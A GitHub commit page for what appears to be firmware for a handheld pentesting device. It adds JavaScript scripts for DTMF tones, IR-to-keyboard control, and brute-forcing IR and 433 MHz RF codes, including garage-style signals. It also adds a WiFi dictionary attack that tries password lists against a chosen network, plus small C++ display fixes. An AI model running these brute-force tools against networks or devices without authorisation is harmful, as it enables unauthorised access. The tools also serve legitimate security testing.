Skip to content

Commit

Permalink
Merge pull request #321 from eadmaster/ir-improvements
Browse files Browse the repository at this point in the history
added bruteforce js scripts (#131), interpreter function fixes, cleanups
  • Loading branch information
pr3y authored Oct 8, 2024
2 parents 02d5d8a + b0c39f6 commit 993409f
Show file tree
Hide file tree
Showing 11 changed files with 344 additions and 67 deletions.
35 changes: 35 additions & 0 deletions sd_files/interpreter/dtmf.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@


// generate a DTMF signal from a number string https://en.wikipedia.org/wiki/DTMF

const dtmfTable = {
'1': { lowFreq: 697, highFreq: 1209 },
'2': { lowFreq: 697, highFreq: 1336 },
'3': { lowFreq: 697, highFreq: 1477 },
'A': { lowFreq: 697, highFreq: 1633 },
'4': { lowFreq: 770, highFreq: 1209 },
'5': { lowFreq: 770, highFreq: 1336 },
'6': { lowFreq: 770, highFreq: 1477 },
'B': { lowFreq: 770, highFreq: 1633 },
'7': { lowFreq: 852, highFreq: 1209 },
'8': { lowFreq: 852, highFreq: 1336 },
'9': { lowFreq: 852, highFreq: 1477 },
'C': { lowFreq: 852, highFreq: 1633 },
'*': { lowFreq: 941, highFreq: 1209 },
'0': { lowFreq: 941, highFreq: 1336 },
'#': { lowFreq: 941, highFreq: 1477 },
'D': { lowFreq: 941, highFreq: 1633 }
};

s = keyboard("0", 99, "Enter number");

for( var i=0 ; i<s.length; i++ ) {
if(!(s[i] in dtmfTable)) {
print("invalid digit (skipped): " + s[i]);
continue;
}
// else
var curr_tone = dtmfTable[s[i]];
tone(curr_tone.lowFreq, 500);
tone(curr_tone.highFreq, 500);
}
48 changes: 48 additions & 0 deletions sd_files/interpreter/ir2keys.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@


// flirc-like IR2Keyboard script
// use any IR remote to send commands to your pc
// requires: IR receiver + USBHID-capable board

var running=true;
badusbSetup();

while(running) {
print("waiting for IR signals...", 0 , 0);
var curr_ir_signal = irRead(1); // 1s timeout

print("received:");
print(curr_ir_signal);

if(curr_ir_signal) {
// switch on curr_ir_signal
// https://github.com/espressif/arduino-esp32/blob/master/libraries/USB/src/USBHIDConsumerControl.h
if(curr_ir_signal.includes("address: 04 00 00 00\ncommand: B0 00 00 00")) {
print("pressed play");
//badusbPress(0x20); // KEY_SPACE
badusbPress(0x2c); // KEY_SPACE
//badusbPressSpecial(0x00CD); // HID_USAGE_CONSUMER_PLAY_PAUSE
}
else if(curr_ir_signal.includes("address: 04 00 00 00\ncommand: 8E 00 00 00")) {
print("pressed next");
badusbPrint("n"); // vlc next shortcut
badusbPressRaw(0x11); // HID_KEY_N
//badusbPressSpecial(0x00B5); // HID_USAGE_CONSUMER_SCAN_NEXT
}
else if(curr_ir_signal.includes("address: 04 00 00 00\ncommand: 8F 00 00 00")) {
print("pressed prev");
badusbPrint("p"); // vlc next shortcut
badusbPressRaw(0x13); // HID_KEY_P
//badusbPressSpecial(0x00B6); // HID_USAGE_CONSUMER_SCAN_PREVIOUS
}
else if(curr_ir_signal.includes("address: 04 00 00 00\ncommand: 8F 00 00 00")) {
print("pressed stop");
//badusbPressSpecial(0x00B7); // HID_USAGE_CONSUMER_STOP
}
else
print("unknown button pressed");
}

var cmd = serialReadln(10);
if(cmd.trim()=="q") running=false;
}
62 changes: 62 additions & 0 deletions sd_files/interpreter/ir_brute.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@

// bruteforce RF signals
// derived from https://github.com/mcore1976/cc1101-tool/blob/main/cc1101-tool-esp32.ino#617
// for a more efficient attack look at https://github.com/UberGuidoZ/Flipper/tree/main/Sub-GHz/Garages/deBruijn
// use at your own risk, some devices may lock you out as a security mechanism when spammed with this!

var value_prefix = 0x20DF0000; // enter a fixed value to use a prefix, if you know it
var no_bits = 16; // 2-bytes range -> 2^16=65536 values to try
var delay_ms = 200; // delay after each try
var protocol = "NEC"; // one of the most common protocols


function brute_force() {
var max_val = value_prefix + (1 << no_bits);

for ( var brute_val = value_prefix; brute_val < max_val ; brute_val++) {
var curr_val = brute_val.toString(16).toUpperCase();

drawString("sending", 3 , 0);
drawString(curr_val, 3 , 16);
drawString("hold any key to stop", 3 , 32);

if(getAnyPress()) break;

// example full cmd: IRSend {"Protocol":"NEC","Bits":32,"Data":"0x20DF10EF"}
serialCmd("IRSend {\"Protocol\":\"" + protocol + "\",\"Bits\":32,\"Data\":\"0x" + curr_val + "\"}");

delay(delay_ms);
fillScreen(0);
}
}


while(true)
{
var network_to_attack_ssid = "";
var passwords_to_try_arr = [];

var choice = dialogChoice([
"Init value:" + value_prefix, "value_prefix",
"Range bits:" + no_bits, "no_bits",
"Delay: " + delay_ms, "delay_ms",
"Protocol:" + protocol, "protocol",
"Start attack", "attack",
]
)

if(choice=="") break; // quit
else if(choice=="value_prefix") value_prefix = parseInt(keyboard(String(value_prefix), 32, "starting value"));
else if(choice=="no_bits") no_bits = parseInt(keyboard(String(no_bits), 32, "bits to iterate"));
else if(choice=="delay_ms") delay_ms = parseInt(keyboard(String(delay_ms), 32, "delay afear each try (in ms)"));
else if(choice=="protocol") protocol = keyboard(protocol, 32, "Protocol");
else if(choice=="attack") {
if(!value_prefix || !no_bits || !delay_ms || !protocol) {
dialogError("invalid params");
continue;
}
brute_force();
}

fillScreen(0); // clear screen
}
62 changes: 62 additions & 0 deletions sd_files/interpreter/rf_brute.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@

// bruteforce RF signals
// derived from https://github.com/mcore1976/cc1101-tool/blob/main/cc1101-tool-esp32.ino#617
// for a more efficient attack look at https://github.com/UberGuidoZ/Flipper/tree/main/Sub-GHz/Garages/deBruijn
// use at your own risk, some devices may lock you out as a security mechanism when spammed with this!

var value_prefix = 0x445700;
var no_bits = 8; // 1-byte range -> 2^8=256 values to try
var delay_ms = 200; // delay after each try
var freq = "433920000"; // fixed frequency


function brute_force() {
var max_val = value_prefix + (1 << no_bits);

for ( var brute_val = value_prefix; brute_val < max_val ; brute_val++) {
var curr_val = brute_val.toString(16).toUpperCase();

drawString("sending", 3 , 0);
drawString(curr_val, 3 , 16);
drawString("hold any key to stop", 3 , 32);

if(getAnyPress()) break;

// example full cmd: "subghz tx 445533 433920000 174 10"
serialCmd("subghz tx " + curr_val + " " + freq + " 174 10"); // optional: customize te=174 count=10

delay(delay_ms);
fillScreen(0);
}
}


while(true)
{
var network_to_attack_ssid = "";
var passwords_to_try_arr = [];

var choice = dialogChoice([
"Init value:" + value_prefix, "value_prefix",
"Range bits:" + no_bits, "no_bits",
"Delay: " + delay_ms, "delay_ms",
"Frequency:" + freq, "freq",
"Start attack", "attack",
]
)

if(choice=="") break; // quit
else if(choice=="value_prefix") value_prefix = parseInt(keyboard(String(value_prefix), 32, "starting value"));
else if(choice=="no_bits") no_bits = parseInt(keyboard(String(no_bits), 32, "bits to iterate"));
else if(choice=="delay_ms") delay_ms = parseInt(keyboard(String(delay_ms), 32, "delay afear each try (in ms)"));
else if(choice=="freq") freq = parseInt(keyboard(String(freq), 32, "Frequency"));
else if(choice=="attack") {
if(!value_prefix || !no_bits || !delay_ms || !freq) {
dialogError("invalid params");
continue;
}
brute_force();
}

fillScreen(0); // clear screen
}
76 changes: 76 additions & 0 deletions sd_files/interpreter/wifi_brute.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,76 @@




function wifiDictAttack(ssid, pwds) {
var connected = false;
// iterate over the passwords
for( var i=0; i<pwds.length; i++ ) {
if(!pwds[i].trim()) continue; // skip empty lines
//print("pwd: " + pwds[i]);
connected = wifiConnect(ssid, 3, pwds[i]); // timeout is 3s
if(connected) {
dialogMessage("password found: " + pwds[i]);
return;
}
}
}

while(true)
{
var network_to_attack_ssid = "";
var passwords_to_try_arr = [];

var choice = dialogChoice([
"Scan Networks", "scan",
"Load dict", "load",
"Start attack", "attack",
]
)

if(choice=="") {
break; // quit
}
if(choice=="scan") {
//dialogMessage("Scanning...")
var networks = wifiScan();
if(!networks.lenght) {
dialogError("no wifi networks found!");
continue;
}
var networks_choices = [];
for( var i=0 ; i < networks.length; i++ ) {
if(networks[i].encryptionType == "CCMP/WPA" || networks[i].encryptionType == "WEP") {
networks_choices.concat([networks[i].SSID, networks[i].SSID])
}
}
network_to_attack_ssid = dialogChoice(networks_choices);
}
else if(choice=="load") {
var passwords_file = dialogPickFile("/");
if(!passwords_file) continue;
var passwords_to_try = storageRead(passwords_file); // MEMO: 4kb file limit -> use native open+read?
if(!passwords_to_try) continue;
passwords_to_try_arr = passwords_to_try.split("\n");
}
else if(choice=="attack") {
if(!network_to_attack_ssid) {
dialogError("no wifi network selected, pls rescan");
continue;
}
if(!passwords_to_try_arr) {
dialogError("no passwords dict loaded");
continue;
}
//print("trying attacking network " + networks[i].SSID + " " + networks[i].MAC);
wifiDictAttack(network_to_attack_ssid, passwords_to_try_arr);

wifiDisconnect(); // avoid automatic reconnection retry to the last network
} // end if attack

fillScreen(0); // clear screen
}


// 2FIX: tries to reconnect? https://github.com/espressif/arduino-esp32/issues/7968

2 changes: 1 addition & 1 deletion src/core/passwords.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -101,7 +101,7 @@ String readDecryptedFile(FS &fs, String filepath) {
cyphertextFile.close();

if(unsupported_params || cypertextData.length() == 0) {
displayError("err: invalid Encrypted file (altered?)");
Serial.println("err: invalid Encrypted file (altered?)");
return "";
}

Expand Down
20 changes: 9 additions & 11 deletions src/core/sd_functions.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -169,7 +169,7 @@ bool copyToFs(FS from, FS to, String path) {
int prog=0;

if(&to==&LittleFS && (LittleFS.totalBytes() - LittleFS.usedBytes()) < tot) {
displayError("Not enought space");
displayError("Not enought space", true);
return false;
}
//tft.drawRect(5,HEIGHT-12, (WIDTH-10), 9, FGCOLOR);
Expand Down Expand Up @@ -306,7 +306,7 @@ String readSmallFile(FS &fs, String filepath) {

size_t fileSize = file.size();
if(fileSize > SAFE_STACK_BUFFER_SIZE || fileSize > ESP.getFreeHeap()) {
displayError("File is too big");
displayError("File is too big", true);
return "";
}
// TODO: if(psramFound()) -> use PSRAM instead
Expand Down Expand Up @@ -475,7 +475,7 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext) {
if(&fs==&SD) {
closeSdCard();
if(!setupSdCard()){
displayError("Fail Mounting SD");
displayError("Fail Mounting SD", true);
return "";
}
}
Expand Down Expand Up @@ -684,7 +684,7 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext) {
if(filepath.endsWith(".enc")) { // encrypted files
options.insert(options.begin(), {"Decrypt+Type", [&]() {
String plaintext = readDecryptedFile(fs, filepath);
if(plaintext.length()==0) return displayError("Decryption failed"); // file is too big or cannot read, or cancelled
if(plaintext.length()==0) return displayError("Decryption failed", true); // file is too big or cannot read, or cancelled
// else
plaintext.trim(); // remove newlines
key_input_from_string(plaintext);
Expand All @@ -695,10 +695,10 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext) {
options.insert(options.begin(), {"Decrypt+Show", [&]() {
String plaintext = readDecryptedFile(fs, filepath);
delay(200);
if(plaintext.length()==0) return displayError("Decryption failed");
if(plaintext.length()==0) return displayError("Decryption failed", true);
plaintext.trim(); // remove newlines
//if(plaintext.length()<..)
displaySuccess(plaintext);
displaySuccess(plaintext, true);
// else
// TODO: show in the text viewer
}});
Expand All @@ -720,13 +720,11 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext) {
}});
options.push_back({"CRC32", [&]() {
delay(200);
displaySuccess(crc32File(fs, filepath));
while(!checkAnyKeyPress()) delay(100);
displaySuccess(crc32File(fs, filepath), true);
}});
options.push_back({"MD5", [&]() {
delay(200);
displaySuccess(md5File(fs, filepath));
while(!checkAnyKeyPress()) delay(100);
displaySuccess(md5File(fs, filepath), true);
}});
}

Expand Down Expand Up @@ -872,7 +870,7 @@ void viewFile(FS fs, String filepath) {
**********************************************************************/
bool checkLittleFsSize() {
if((LittleFS.totalBytes() - LittleFS.usedBytes()) < 4096) {
displayError("LittleFS is Full");
displayError("LittleFS is Full", true);
return false;
} else return true;
}
Expand Down
Loading

0 comments on commit 993409f

Please sign in to comment.